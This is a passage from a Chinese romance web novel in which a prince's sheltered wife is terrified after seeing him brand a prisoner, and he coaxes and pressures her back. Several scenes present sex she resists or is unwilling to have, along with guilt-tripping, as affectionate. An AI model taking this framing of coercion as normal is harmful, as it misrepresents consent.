他步子迈得大,柳娆步子迈得小,好几回他都差点儿被她绊倒,磕磕绊绊下,那只纸鸢终于飞起来。 春日,河堤上飞满了纸鸢,柳娆一会儿要跟这个比,一会儿要跟那个比,把纸鸢放得高高的,没多久,她便热得一身汗,瘫坐在地上直喘气,哥哥们给她递水,嫂嫂们给她擦汗。 凉风拂过,汗歇一些,她又兴致勃勃起来:“我们中午吃什么?” “王爷让人带了鹿肉,我们烤鹿肉吃,好不好?”二嫂笑着哄。 “行!那就吃鹿肉!” 小厮仆从们将鹿肉烤上,香味滋滋往外冒,馋得她直流口水,仆从们也识得眼色,第一份便呈给她。 她咬一口,忽然一顿:“这不会是别院里的小鹿吧?” 封肆又给她倒甜饮:“不是,安心吃吧。” 那甜饮是果子发酵而成的,带着淡淡的酒味,她一喝就醉了,脸红扑扑的,呆愣片刻,要起身跳舞,谁也拦不住。 封肆折一片树叶为她吹奏,看着她花花绿绿的裙摆在草地里摇曳。春光无限好,他忽然再也不想整日忙于公务,只想闲云野鹤。 柳娆醉了,转了几圈,脚下不稳,往前摔去,封肆稳稳接住她,不久,绵长的呼吸声传来。 大哥柳琮微微笑着:“竟忘了,她是吃不了酒的。” 封肆为她盖上薄披风:“无妨,消停会也好,再醒着又要疯跑。” 柳琮又道:“父亲他不愿再参与朝廷的事,故而此回并未前来……” “不必解释,他能如此有骨气,我倒还能高看他几分。如此也好,他年岁也大了,是该好好歇息,往后如何,还得看诸位。” 柳琮不善言辞,已不知该如何作答。 柳瑜赶忙接上:“大哥放心,王爷是真心爱护媚儿,也是真心将我们当做一家人,大哥以后不必再说这样见外的话。” 柳琮无措点了点头:“那媚儿……她吃醉了,王爷可要带她先回?” “醉不了多久,等她醒了再说,省得又要闹。”封肆垂眸,目光落在怀里那张酣睡小脸上时,格外轻柔。 柳家众人起先还有些拘谨,见他只是看着媚儿,什么也不过问,便渐渐放松下来,继续说说笑笑。 柳娆这一觉睡到快日落才醒,她揉了揉眼,看着河堤上稀疏的人群,满眼遗憾:“我怎么就睡着了呢?还有很多没玩的呢。” “若是喜欢,下回再出来也是一样的。”二嫂笑道,“如今天暖和了,只要他们休沐,出来走走也好。” 柳瑜也道:“天还早着,你要是想去跑去跳,也不会看不清路,尽管去就是。” 柳娆笑着拽起封肆,见旁人都不动,有些不好意思,又道:“二嫂,你跟我们一起去玩吧!” “你二嫂可不能跟你去玩。”柳瑜拦住,“你二嫂有身孕了,你往后不许闹她了。” “有身孕?”她眼圆了又圆。 封肆一看她那副神情,便知晓她又在想东想西,赶紧将她拉走,果然,夜半,灯都熄了,她突然蹦出一句。 “二嫂怀孕了,那她和二哥是不是晚上也同房了?” 封肆语塞:“不然呢?” 第57章 第 57 章 他是坏人 柳娆抬头:“那他们也那样了?” “不然呢?” 她傻笑两声:“二哥那么讨人厌的人, 也会做这种事啊?” 封肆重重叹息:“你整日都在想些什么?赶紧睡吧,不早了。” “唔,我突然想起, 我大哥大嫂也有孩子……” 封肆无情打断:“是, 他们都睡过, 你爹娘也睡过,祖父祖母也睡过。” “真有意思。” “你真是个流氓。”封肆将她的脑袋按回怀里, “乖乖睡觉, 不许再乱想了, 我明日还要去宫里。” 他也想找借口将手头上的事都推一推,往后只和媚儿过闲散日子,只是不知能不能推得掉,或许, 不出远门, 让他就在家里处理公务也好, 只要能日日见到媚儿。 最近这段时日他都在家处理公务, 偶尔抬头,瞧见窗棂外映出的圆脑袋影子,他就知道是媚儿来了,在外面等着他忙完出去玩。 他也明白做事该专心,可还是忍不住开门将她放进来,而后人便在屋里蹿来蹿去,一会翻翻这里,一会看看那里, 最后往他腿上一趴,安静等着。 待他忙完,便能和她去院子里疯, 自从他提过跳舞的事,她随时随地都能跳两段,纷飞的明艳裙摆与满院子绽放的花交相辉映,美不胜收。 “这么喜欢跳舞?”他笑着问。 “嗯。”柳娆笑盈盈转着圈来,“因为能在人跟前炫耀展示啊。” 封肆忍不住低笑:“原来是因为这个?” 柳娆扬着下颌,大大方方道:“当然啦,我还会下棋、弹琴、绘画,他们都会,我要是什么都不会,那多丢人啊。” “我还以为你是真心喜欢。” “是真心喜欢啊,我觉得我跳舞的样子可美了。” “臭美。”他捏捏她的鼻尖,“不过,是真的很美。” 柳娆抓着他手晃晃:“我又想去庄子上玩了,夏天去庄子有好多可以玩的,我们什么时候可以去呀。” 他笑着道:“有几个犯人要审,审完就可以歇息,到时就能去。” “犯人?他们是做了什么坏事吗?” “对,很坏很坏的事。”他怕吓着她,也担心她听不明白,只透露一丝丝,“这应该是最后一个大案子了,等忙完这个,会轻松很多,到时我的空闲会更多,你想不想去看看我们家的产业?我可以带你去看看。” 柳娆满眼惊喜:“真的啊?” “你要是高兴,交给你管,也不是不行。” “那太好了,我家里的事就是我娘带着我两个嫂嫂在管,我觉得她们可威风了。” “你想管家?那你为何不曾跟我说过。” “我又没什么经验,万一管坏了怎么办?那可是白花花的银子啊,可不是好玩的。”她说罢,又扬起笑颜,“我虽然不会挣钱,但我也不会乱花钱呀,对不对?” 封肆笑着搂住她:“对对,你说什么都对。” “不过,你要是带我去,我觉得应该没问题。” “等闲了就带你去,其实那些产业本就有人看着,也不需要你懂什么,认字看账本就行了。” “那我是不是喜欢谁就能用谁,不喜欢谁就能把他贬了?” 封肆敲一下她的脑袋:“幸好你没有去做官,你这幅任人唯亲的模样,你要是去做官,天下早就大乱了。以后就算是你管事了,也不许胡来,凡事要跟我商量,记住了吗?” 她抱住他的腰,做出一副乖巧的模样:“噢,好。” 封肆拍拍她的肩:“玩去。” 春夏交际,正是繁花盛放的季节,她摘了一堆花,制香包、做点心,有无数可以做的事,可惜,夏初的一场暴雨后,鲜花凋零,零落成泥。 封肆不在书房,她往里看一眼,举着伞又往外寻,雨滴滴答答落在伞面上。 “王妃,王爷有令,不许人靠近暗牢的。”府上西角的小院阴森又寂静,守门的护卫将她拦住。 她望一眼门楣,视线穿不透门,只能和他们周旋:“那他何时才能出来?天都要黑了。” 护卫望一眼天,天黑,不是因为天色晚,是因为下雨,但他们也知道跟王妃是讲不清道理的,只坚持重复:“王爷有令,不许人进暗牢。” “呱。”她道,“我是青蛙。” 护卫们纷纷低头,强憋着笑。 柳娆趁机闯进门。 护卫这才发觉不对,赶忙往里追。 柳娆边往里躲边四处查探,在一面墙上瞧见一堵铁门,拉开门,里面是黑漆漆往下的台阶,她提着裙子就往下跑。 台阶尽头,昏暗的地牢里,封肆修长的背影,她正要悄悄跑过去吓他,突然瞧见他举起通红的烙铁,落在前方锁链捆着的人身上。 痛苦的嘶吼声和肌肤烧伤的滋滋声同时在暗牢中响起,那一股烧焦的皮肉味道钻进她的鼻尖中,她眼前一黑,咚一声昏倒在地。 “王妃!”追来的护卫惊呼一声。 封肆转头,手下不觉一松,烙铁哐当落在地上,滚烫的烙铁在冰冷的地面上又是滋一声呜鸣。 他整个脑中都是懵的,记不清自己是如何将人抱回卧房的,雨还在下,越发大,雷鸣一声接着一声,闪电时起时停,房中白一阵黑一阵。 媚儿发热惊厥,额头全是冷汗。他来不及责怪谁,拿着温帕子不停将她的冷汗擦去。太医冒着雨来诊治过,她才好一些,不再冒冷汗。 他握住她的手,从天黑守到天明,确认她没有大碍后,才缓缓起身,捏着眉心,拖着步子往外走。 他已没什么心思再去暗牢审人,可落在手上的事不能不做,他得先去善后,而后才能专心陪着媚儿。 雨过天晴,热烈的日光烤干地上的积水,床上的人缓缓睁眼,几个侍女一起围上来,小心翼翼看着:“王妃?” 她灰暗的眼瞳转动,忽然,像是想起了什么,满目惊恐,忙不迭地从床上爬起,光着脚便往外跑,凌乱的长发随风翻飞。 侍女们紧忙追上:“王妃,您去何处?” 她没有回答,步伐越发乱,两条腿打架,好几回都要绊倒,又堪堪站稳,毫不犹豫继续往外跑,直跑到马车旁,寻不到车夫,才焦急回头:“纤云!你快去叫人套车,我要回家!” “王妃。”纤云小心上前,轻声道,“王妃要去哪里?这里不就是王妃的家吗?” “不不。”她连连摇头,披散的发糊在脸颊上,“我要回家,你快叫人给我套车。” 纤云与人交换了眼神,示意他们去寻王爷,又上前想要将她拖住,可她全然不顾,穿着身中衣,转头又要往府门外跑,纤云没法,只能答应套车。 车上,纤云又劝:“王妃,您这样跑出去,王爷会担心的。” 她原本惊恐的双眼,在听见王爷二字后,更加慌乱,不停敲打着车门,连声催促:“快走,我们快走。” 纤云察觉不对,立即改口:“小姐,您这样,几位公子会担心的,您先将衣裳穿戴齐整,好不好?” 她连连点头,仍旧慌乱紧张,双手抖得厉害,罗袜套了好几回,没有套上,落在车厢中。 纤云拾起,轻轻为她套上,小声试探:“小姐,您这是怎么了?哪里不舒服吗?” “没、没。”她连连摇头,似乎只剩下点头和摇头这两个动作。 纤云见无法再问,默默给她披上外衣,静静等待马车抵达柳府。 车过角门,将将停下,她立即一把推开门,慌慌张张往里逃,似乎在躲什么,三哥柳珣看到她衣衫不整的模样,一下慌了神,匆忙跑来,双手扶住她。 她抬眸一看,瞧见是三哥,脚下一软,便朝前跌去,眼泪随之哗啦啦往下掉:“三哥……” 柳珣又心疼又气,眼立即红了一圈:“媚儿,你怎么了?你为何这样跑回来?为何衣衫不整?为何这样委屈?是不是宁王他欺负你了?” 她泪眼模糊,哽咽难言:“我、我……他是、是坏人,我害怕,三哥,我害怕……” 说话的间隙,几位长辈也赶出来,陈夫人拉着纤云发问:“这到底是怎么了?” 纤云低头小声道:“王妃昨日闯进王府的暗牢里,大概是瞧见了什么不该瞧见的……” 陈夫人脑中嗡鸣,老太太和柳父心中亦不好受,他们即便没真进过暗牢,可活了这把年龄了,什么没听说过?若要他们亲眼撞见都未必能承受,更别说是像媚儿这般从小娇生惯养着的。 老太太老泪纵横,心疼地将她搂入怀中:“不怕不怕,已经回家了,饿不饿?让你爹爹去给你买酥鹅买醉蟹,好不好?” 她眼泪还在往下掉,轻轻摇头:“我不饿。” “让你爹爹先去买,等媚儿饿了再吃。” 一家人簇拥着她往房中走,围坐在床边,倒水的倒水,擦眼泪的擦眼泪,和她闲话,逗她开心。 她倒是不哭了,只是脸上郁气难掩,连往日神采奕奕的眼眸都灰暗无光,无论他们说什么,做什么,她都是那副淡淡的神情。 第58章 第 58 章 倾尽所有 封肆刚从暗牢出来, 迎头便瞧见焦急的侍女,心头顿感不妙,大步迎去:“是不是王妃出事了?” “王妃闹着要回家, 衣衫不整跑出去, 奴婢们实在没法, 只能送她上车,此刻王妃恐怕已抵达柳府了。” 封肆一阵头痛, 他明白, 这回不是说笑, 不是玩闹,她连金银细软都不要了,是真的被吓到了。 他突然很后悔,他不该让她离这些事这样近, 他明明知道她会害怕。 他翻身上马, 驱马狂奔, 径直抵达柳府, 将马往门口一扔,不顾柳府仆从,抬步便往里走,直往柳娆院子去。 柳珣听仆从传报,怒气冲天出门,指着他骂:“你还来做什么?你还嫌你害媚儿害得不够吗!” 老太太赶忙上前解释:“拜见王爷,王爷进门探望前,请先准许老身说几句。” 封肆瞥柳珣一眼, 看向老太太。 老太太垂眼道:“媚儿是千娇万宠着长大的,我柳家从未有过任何攀龙附凤的想法,只愿做清官忠臣, 寻寻常常一辈子,对媚儿,也只是希望她能嫁一位门当户对天资平庸的儿郎,故而从未对她有过太多管束教养,也养成了她这副单纯任性的模样。她不明白那些勾心斗角尔虞我诈,也无法接受,王爷是做大事的人,娶这样的妻子实在一开始便是一个错误……” “说重点。”封肆冷声打断。 “媚儿哭了很久,一提到王爷便哽咽不止,现下才将将被哄睡着,王爷进门,可否莫要唤醒她?她瞧见王爷大概又会闹起来。” 封肆没有回答,冷着脸越过他们,大步进门。 床上的人的确睡着,睡得不踏实,眉头紧蹙着,他从未见过她这副模样。 他搓搓被风吹得微冷的手,悄声走近,单膝跪在床边,轻轻将她攥起的拳头捧在手心里,哑声唤:“媚儿。” 睡梦中的人似乎听见了他的呼唤,眉头蹙得更紧,脸色煞白,额头又开始往外冒冷汗。 他咬牙,松开那对拳头,将它们放进薄被里,起身大步出门,越过柳府众人,朝纤云吩咐:“看好王妃,我晚上再来。” 柳府众人对视一圈,柳珣低声问:“他这是什么意思?” 柳父缓缓摇头:“我也看不明白了。” 老太太重重叹息:“待老二回来问问他吧,他虽说是太过圆滑,可有些事上比我们看得清些。” 柳珣愤愤:“那媚儿呢?她被吓得不轻,那个宁王晚上还要来!” “你别忘了,他们还是夫妻,即便不是,宁王也还是宁王,你再如何气恼,也不要再说那些不知所谓的话了。”老太太教训一句,“要忙的都去忙吧,我清闲,我看着媚儿。” “我也清闲。”柳珣跟进去。 柳父和陈夫人对视一眼,也跟进门。 此刻,宫中,封肆正在殿门前候着。 没多久,内侍来传,他立即大步进门,跪地行礼:“臣弟拜见陛下,请陛下准许臣弟前往封地。” 皇帝一顿:“为何?” “昨日。”封肆闭了闭眼,稍稍整理情绪,“昨日媚儿不慎看见臣弟审理叛贼,她被吓坏了,高热惊厥,惶恐异常。” 皇帝眉头一皱:“看过太医了吗?” “昨夜连夜请了太医,可无济于事,她还是害怕,已躲回娘家去了。” “未免太过娇气了些。” “按礼制,臣弟早该外放,若非如此,媚儿也不会被吓着,恳请皇兄同意。” “你就要这般一直护着她?她总不能一辈子都如此。” “尽臣弟余生之所能,倾臣弟余生之所有。” 皇帝看他片刻,摆摆手:“罢了,你去吧,将手头上的事交接好。” “多谢皇兄。”封肆退出殿门,马不停蹄赶往柳府。 天已黑,微弱的霞光渐隐,他轻车熟路,跨进院门,房中熟悉的声音传来,他几乎是迫不及待便要冲进去,这一回拦住他的是柳瑜。 “王爷。” 他有些不耐:“让开。” 柳瑜未动:“臣可以让开,但王爷可曾想过进门后该说些什么?” 封肆还拧着眉,脚步却停了。 “小妹状况不好,祖母他们至今不敢在她跟前提起王爷,否则她便会惊恐哭泣,王爷可曾想过此时进门,小妹会有何反应?臣猜,定不会是王爷想要的反应。” 封肆没有想过,他只是听到媚儿的声音,便忍不住想冲进去见见她。 “臣明白,此事并非是王爷的错,臣也明白,许多事并没有对错之分,可在媚儿的眼中,王爷的行为便是一个恶人的行为,王爷说再多,她也不会明白。” “继续说。” “不如就跟她说,那只是一个梦,她做的噩梦,王府里从未有过什么暗牢。” 封肆眼一抬。 柳瑜立即垂眸:“当然,这只是臣之拙见,一切还要由王爷决断。” 封肆无法决断,他很清楚,若是能由此糊弄过去,他们就能回到从前。 他心烦意乱,原地踱步几圈,没忍住冲进房门。 “哐!”门开,房中众人看来。 “都出去。”他低声吩咐。 柳娆警惕看着他,紧紧抓着祖母的手往后躲。 他瞧见她那副惊慌的模样,更是心烦意乱,不由得沉声:“出去。” “祖母……”柳娆吓得声音打颤。 老太太拍拍她的手背,轻轻将她的手挪开:“别怕,王爷和你有话要说,我们都在外面候着,不会有事的。” 她知道祖母不会帮她拦着,又赶忙往后缩,捂着被子缩在墙边,警惕的双眼仍旧紧紧盯着男人。 房中众人悄声退出门外,哐当,门被关上,封肆抬步朝床边走。 越来越近,越来越近,柳娆突然惊叫起来,光着脚跨下床要逃。 封肆一把抓住她的手臂,将她带回怀里,紧紧抱住。 门外听到惊叫声忍不住冲进来的柳家人又赶忙退出。 “媚儿。”封肆轻声唤。 柳娆似乎并未听见,惊叫不停。 “媚儿!”封肆突然大斥一声,“我这些天对你的好,在你这里都不作数了,是吗?” 她静下来,浑身忍不住颤栗。 封肆握住她的肩,静静看着她:“我跟你说过的,那是犯人,是坏人,我的确是对他用了一些酷刑,但是是因为他做了坏事,你为什么要这样害怕我呢?” 她低垂着头,没有回答。 “看着我。”封肆捏起她的脸,“你看着我。” 她不敢不从,颤颤巍巍抬起眼,眸中瞬间蓄满泪水,摇摇欲坠。 封肆心中亦不好受,双手轻轻捧住她的脸,柔软的掌心抚摸着她的脸颊,轻声道:“你回答我,我对你好不好?” 她害怕极了,脑中全是那日地牢里的画面,眼泪簌簌落下。 “你哭什么?我凶你了吗?我不是在好声好气和你解释吗?我做错什么了?你为何要用这样的神情看我?我就算是再卑鄙,再无耻,可扪心自问,我对你还是不错的吧?嗯?你回答我,为何要这样看着我?”封肆用指腹轻轻将她的眼泪抹去,却不察,自己的眼中也是通红一片。 柳娆眼眸闪动,眼中的泪水溢出,视线清晰许多,瞧见他眼角渗出的泪光。 “我就算是再不好,对你也是一片真心的吧?我明白你害怕,可你难道要因为此事就将我判处死刑吗?我已经去跟陛下说过了,我往后不会再管这些事了,不要这样看着我,好吗?”眼角的那一滴泪滑落,他抬手,难堪地抹去。 忽然,温热的手心抓住他的手,他抬眸看去,对上那双琉璃似的眼眸。 柳娆指尖轻点,抹去他的眼泪:“不要哭。” “媚儿!”他激动地握住她的手,生怕吓到她,又慌忙松开一些,“媚儿,不是你想的那样,那个人是个很坏很坏的人,所以我才会对他用重刑,你不要因此畏惧我,好吗?” 柳娆还是有些不太能明白,但她明白,小四对她好,事事都顺着她,她心中两道声音正在疯狂打架。 “媚儿,你不是说好爱好爱我的吗?就因为此事,你便不爱我了吗?” “我……”她声音还有些颤,但不躲了。 封肆轻轻抱住她:“我知道你害怕,我以后不做这个了,我们外放去我的封地,往后我日日都能陪着你,好不好?” 她抿了抿唇。 封肆又捧着她的脸,看着她:“高不高兴?你不是一直希望我能日日陪着你吗?现下终于能实现了。” “我……” “宝贝,我的宝贝,夫君爱你。”封肆在她脸上啄吻,“不要躲着我了,好不好?” 她蹙着眉,没说话。 封肆微微扬唇:“昨夜还被吓得发热了,胆子怎么这么小?今日还好吗?有没有发热?” 她呆呆摇头。 封肆搂着她在床边坐下:“用过晚膳了吗?” 她又呆呆点头。 封肆垂首,在她唇上啄吻:“那我们早些歇息?” 她往后撤。 封肆扣住她的腰,将她往跟前带:“不许躲,宝贝先前每日都要的,天色还早,今日想要几回?夫君都可以给你。” 第59章 第 59 章 可是要天打雷劈的 怀里的人睡了, 封肆看着那张乖巧酣睡的脸,稍稍松了口气。 他能感受得到,媚儿方才不如从前投入, 可现下也没有更好的办法, 能让她不那么抗拒已是不易。 他轻轻将人往床里放了放, 随手套上寝衣悄声出门。 柳家的人还算识趣,都散了去, 只在偏院里等候。 他抬步跨进偏院, 朝人看去。 柳家众人起身:“王爷。” “媚儿已经睡了, 今晚我就歇在这里,你们先回吧。” 老太太欲言又止:“媚儿她……” “她很好,无甚大碍了,你们不必担忧, 她愿意在这里住就住吧, 我也同她住在这里。” “那、那我们就先告退了……” 封肆摆摆手, 缓步返回。 柳珣盯着他的背影, 紧咬牙关,恨不得冲上去。 柳瑜赶忙抓住他,低声道:“别闹,人家是夫妻,跟你说过多少回了,还不长记性,况且媚儿也不能一直这般,总要解开心结才好, 回去吧,明日再来看。” 一早,外面便有动静, 封肆当做没听见,搂着怀里的人,继续入眠。 天明,怀里的人醒来,他也跟着睁眼。 “媚儿。”他的指尖滑过她的脸颊,等了许久,没等到从前那般的热情回应,他悄自叹息,“起吧,你三哥好像在外面。” “三哥?”提到三哥,柳娆的神情才有了变化,跨过他下床,边穿着衣裳边往外走,“三哥!” 柳珣就在院门外,听到动静,立即跑来:“媚儿!” “三哥。”柳娆笑着跑去,瞥一眼身后跟出来的人,躲去柳珣背后,小声道,“三哥,我们去你那里洗漱吧。” “好。”柳珣警惕地看着门口立着的男人,护着身后的妹妹快速撤出。 封肆看着他们,缓步跟上。 柳娆听到脚步声,低声问:“他是不是跟来了?” 柳珣回眸,直直对上那双深沉的眼眸,吓得立即收回,小声答:“是。” “那我们走快点?” “咱们家就这么大,走再快也没用啊。” “那怎么办?” “他欺负你了吗?” “我……”她欲言又止。 柳珣加快了步伐,护着她跨进自己的卧房:“你说啊,他有没有欺负你?他要是欺负你了,三哥就算是豁出命去也得为你讨回公道。” “也不算是欺负啦。”她顿了顿,小声道,“我只是不知道该怎么面对他。” 封肆跟进门,接过侍女递来的帕子,拧一把水,握住她的手:“来。” 她垂着头,眼眸飞闪:“你、你干嘛要跟来?这是我三哥的卧房……” 封肆没有理会,微微将她往前一带,给她擦脸。 柳珣握着拳在一旁看着,只要有不对,随时准备着要冲上去。 封肆余光瞥他一眼,低头在柳娆那光洁的脸颊上亲一口,低声道:“宝贝,去漱口吧。” 柳珣脸咻得通红,连忙背过身去。 封肆勾了勾唇,搂着怀里的人继续洗漱:“在何处用早膳?” 柳娆回头好几眼,没对上三哥的目光,只能继续被人搂着,小声回答:“我要去和祖母母亲一起用早膳。” “好,我同你一起去。” “你……”她小声道,“你要不先回去吧?” “嗯?你说什么?说大声些。” 她咽了口唾液,低着眼,一鼓作气:“我说,让你先回去。” 封肆摸着她的脸:“回哪儿?” “回王府啊。” “可是我想跟你在一起,你不想和我在一起吗?” “我、我……”她又吞吞吐吐起来。 封肆丝毫不给她犹豫的机会,搂着她便往外去:“走,我和你一同去祖母母亲那里。” “媚儿!”柳珣慌忙跟上,瞧见封肆回头,又赶紧垂眼,放慢脚步。 柳娆回头看:“我三哥他……” 封肆挡住她的视线:“他好好的,没什么大碍,放心吧。” 她抿着唇,胡乱盯着路旁的花花草草,心里总是发虚,脚下也是轻飘飘的,她还是没法忘却暗牢里的那一幕,昨晚还做了噩梦。 封肆察觉到她的异样,将她搂得更紧了些。 她心里更虚了,不敢看他,不敢和他靠近,恨不得离他十万八千里。 封肆目光落在她脸上,朝她挪近:“媚儿,要不要涂指甲?你的指甲好久不曾涂过,颜色都有些黯淡了,我给你涂指甲,好不好?” 她躲在祖母和母亲身后,连连摇头。 “媚儿。”封肆绕过老太太和陈夫人。 她紧盯着他,绕着祖母和母亲躲,而后毫不犹豫,拔腿便往门外跑。 封肆大步追上:“媚儿。” 老太太和陈夫人追也不是,不追也不是,遥遥望着,焦急得原地打转。 没多久,封肆追上,将人抱入怀中,轻笑道:“不跑了,好不好?你看祖母母亲都在为你着急呢,乖乖坐着,我陪你玩,不想涂指甲,那打络子?串璎珞?要不玩叶子戏也行,我教你,好不好?” 她被搂着,又回到厅中,还是那副不情愿的模样。 封肆揽着她坐下,吩咐一声,叫来柳家人落座,摆上叶子戏,怀里的人虽是心不在焉,但终于不乱跑了,赢了两圈后,脸上还有了笑意。 封肆趁机道:“陛下有旨,命我前往封地,不日启程。” 柳珣一怔,高声道:“不行!” 老太太忙瞅他一眼:“坐下,你要抗旨不成?” “祖母!媚儿从未出过远门的,她怎么能去那么远的地方呢?她要是受欺负了怎么办?我们都帮不了她!” 封肆淡淡瞥他:“有本王在,谁敢欺负她?” 他咬了咬牙,没说话。 封肆又看向怀里的人,轻声道:“媚儿,我们这两日就得收拾行李了。” 柳娆握紧手中的牌:“你可以一个人去吗?” “我们是夫妻,自然是要在一起的,我怎么能丢下你一个人去呢?你不会舍不得我吗?” “我……”她小声道,“可是我舍不得我祖母母亲,还有大哥二哥三哥……” “以后我们每年都可以回来看望他们的。” 她咬着唇,着急道:“可是、可是我就是不想去嘛……” 封肆没有接话,转而道:“看看,出哪张好。” 她更没心思玩了,满脑子都在想应对之策,怎么办?万一她做错了什么事,会不会被烙铁烙?她害怕。 封肆又开口:“纤云,你回王府,让他们收拾行李,能带的全带上,不要有遗漏。” “我……”柳娆赶忙抓住他的手,满眼恳求,“我们晚点再走,好不好?” “晚多久?给我一个具体的日子。” 她哪里知道晚多久?她就是想拖延而已。 封肆道:“最多晚三日。” 离开这里,换一个新环境,又是路上,他们相处的机会会更多,那日留下的阴影也能尽快消散。 “啊?”她抬头,对上那双淡然的眼,又立即垂下,小声嘟囔,“你能不能自己去?” 封肆当作没听见,又聊起牌来:“看看,出哪个?” 她瘪着嘴,从白天瘪到晚上。 封肆将灯吹灭,俯身而来。 “不要。”她双手挡。 “为何不要?从前你要的时候,我可都是由着你的。”封肆已捉住她的腰。 她不情愿,又不好拒绝,哼哼唧唧个不停,却没甚效果,温热的吻已经落在她脖颈上,酥酥麻麻的感觉一起朝她涌来,她如水般随波逐流,最后抽抽搭搭哭起来。 “你是坏人……” “弄疼你了?”封肆轻抚她的脸颊。 她摇着头躲:“你是坏人,我祖母她们说得对,你是坏人,要是我早点相信就好了。” 封肆捏住她的脸:“我是坏人?我对你很差吗?我欺负过你吗?我对你这么好,你这样说,可是要天打雷劈的。” 她吓得一抖,结结巴巴:“你、我、你……可你是就是坏人,你对我好,也改变不了你是个坏人的事实!” “你怎么这么没良心?”封肆将她的手放在她的心口上,“你摸着你的良心,再跟我说一遍。” 她哇一声又哭起来:“可是我害怕,我害怕啊,我总是做噩梦,梦见你用烙铁烫我,真的好可怕……” 封肆无奈又心疼:“我不是跟你说了吗?那个人是犯了事,我才会那样审他,你又没有犯事,我为什么要罚你?” “可是人活着总会犯错的嘛,我要是不小心犯错了怎么办?我把你给我买的衣裳首饰都还给你,你自己去什么封地吧,我不要去。” “他是犯了天大的错误,不可饶恕的那种错误,不是你想的那样,再说送出去的东西没有收回来的道理。” “可是人要犯多大的错误才要用烙铁烫他!我以后连烤肉都不敢吃了,你太凶残,太可怕了!” “来。”封肆解开寝衣。 柳娆又哇起来:“你又要弄我!” 封肆瞥她一眼,将寝衣褪去:“谁要弄你?你给我抬眼,看看我身上的伤。” 她警惕眯着眼看,见他没有过来,才将眼全睁开。 封肆抓住她的手腕,将她拽起:“来,好好看看我身上的伤,我不伤他,以后这伤就会继续落在我身上。” 烛灯点燃,借着昏暗的光,她瞧见他胸膛上白色的伤疤,她从前也瞧见过的,只是这些疤痕的颜色浅淡,她没往心里去。 第60章 第 60 章 小白眼狼 封肆捉住她的手往那些伤痕上放:“是不是那些伤落在我身上, 你就高兴了?” 她不明白这两件事有什么关系,要抽手往后躲。 “不许躲。”封肆命令,“你好好摸摸。” “我……”她苦着脸, “我摸、摸它, 你不会疼吗?” 封肆心中原就不多的气消散, 将她抱入怀中:“不会疼,跟我去宁州, 两日后便启程。” 她眉毛鼻子快皱在一块了, 不知道是该心疼他, 还是心疼自己:“我、我……” “睡觉。”封肆搂着她躺下。 她挣扎,要往床里缩。 封肆将她捉回:“不是喜欢压着我睡?来,压。” 她咬着唇,硬得像根木头, 一动不动。 封肆强行将她搬来身上, 拍拍她僵硬的肩:“睡吧, 明日我们再商量要收拾什么行李。” 她折腾几下, 没能挣脱,泄了气。 半梦半醒间,她忽然瞧见封肆拿了根通红的烙铁来,印在她的背后,滋啦一声,她被惊醒,慵懒沙哑的嗓音在背后响起:“醒了?” 她一怔,恍然明悟抵在她腰背后的是什么:“你松开我……” “又要松开?”封肆倾身而上, “别想。” 她汗涔涔地从被窝出来,脚下一软,险些跌倒。 封肆眼疾手快将她抱起:“今日还是去和祖母母亲一同用早膳?” 她欲哭无泪。 封肆权当看不见, 抱着她去洗漱后,揽着她往老太太院子去。 他如今对柳府各处已是轻车熟路,不需要人领路,便能寻到老太太那去,还装模作样地跟人请了安才落座。 柳珣也在,忍不住多问:“媚儿,你真的要和他走吗?” 柳娆悄悄看封肆一眼,不敢吭声。 老太太私心也不希望柳娆离家,也开口:“媚儿她性情娇纵,我和她母亲都常常头疼,她这个性子,实在是撑不起王府的门楣,王爷是否再考量考量?” 封肆面色微沉:“这是何意?要我休了她?” 柳娆立即应:“好啊好啊。” 封肆气得心口疼,瞥她一眼:“你等我死了再说吧。” 柳娆脸一垮。 “两日后便走,趁早收拾东西,别临到跟前又说什么这没带那没带,到时我可不管你。” “噢。” 老太太知道拗不过,只能应下:“宁州路远,祖母叫人多给你准备些吃食。” 柳娆瘪瘪嘴,没说话。 堂中的氛围凝滞,不久,侍女进门打破了沉默:“王爷、王妃,老太太,宫中有贵人来。” 柳家众人一怔,皆朝封肆看去。 “大概是太后来了,出去一看便知。”封肆起身要走。 柳娆见状立即要往祖母身后退,可还没挪步,便被封肆捉住手带去怀里。 “母后定是来见你的。” 她磨磨蹭蹭往外走,瞧见太后时,神情终于有了丝松动:“母后……” 太后快步迎来:“媚儿。” “母后,我不想离开京城。”她扑进太后怀里,毫不犹豫哭诉。 太后拍拍她的背:“母后也舍不得媚儿。” 封肆缓步来:“母后。” “听皇帝说你要去宁州了,母后特意来看看你和媚儿。”说话间,柳家众人一起上前行礼,太后又道,“不必多礼,都起来吧,我们进去说。” 众人移步进厅,太后搂着柳娆落座:“母后知晓你们要走,特地让人准备了行李,都呈上来。” 随行的侍女呈上琳琅满目的饰品,柳娆看去,却满脸苦涩。 太后笑着问:“母后准备的不合你的心意?” 她连连摇头:“不是、不是。” “那是为何?嫌母后给的少了?” “也不是……”她咬着唇,小声道,“我不想去什么宁州,母后,能不能让王爷他一个人去?” “王爷?你从前可不会这样唤他的?发生何事了?是不是他欺负你了,你跟母后说,母后替你做主。” “我、我……”她一鼓作气,“我不想跟他过了,要不母后让他休了我吧。” 封肆阴沉沉的目光投来:“母后不必理会她,她是在跟我闹脾气。” 柳娆瘪嘴。 太后又道:“你们何时启程?” “明日。”封肆沉声道。 “啊?你不是说两日后吗?”柳娆抬眸。 封肆瞥她一眼,没有回答,脸一直沉着,只与太后商议离去的日期。 天黑,太后回宫,柳家众人散去,他将人往床上一扔,捉着她的腰,沉声发问。 “你说的那些话很伤人,你知不知道?你这个没有良心的东西,我就不该惯着你,越惯脾气越坏。说话!知不知道自己说的话很伤人!” “我……”柳娆声音断断续续的,“我、我,说,说不了……” 封肆正在气头上,又骂:“我这辈子的温柔和耐心都给你了,换来的是你一句让我休了你?你这个小白眼狼,我以后再也不会纵容你了!” 她呜咽:“太快了,不要这样……” “以后只有我怎么高兴怎么来,你那些好待遇都没有了!还想吃什么山珍海味,以后只有萝卜白菜!” 她眼冒金星,什么都没听清,浑身颤栗着,还哑声讨水声:“渴。” 封肆瞥她一眼,没好气道:“渴着。” “呜呜我要喝水……”她抓住他指尖,“小四,我要喝水。” “你今天喊我王爷的时候可不是这个态度。”封肆倒了水来,喂她喝下。 她喊得嗓子都要冒烟,咕噜咕噜灌几大口,不慎被呛到,咳得脸都红了。 封肆慌忙搂着她顺气:“慢些慢些,不渴着你,别着急。” 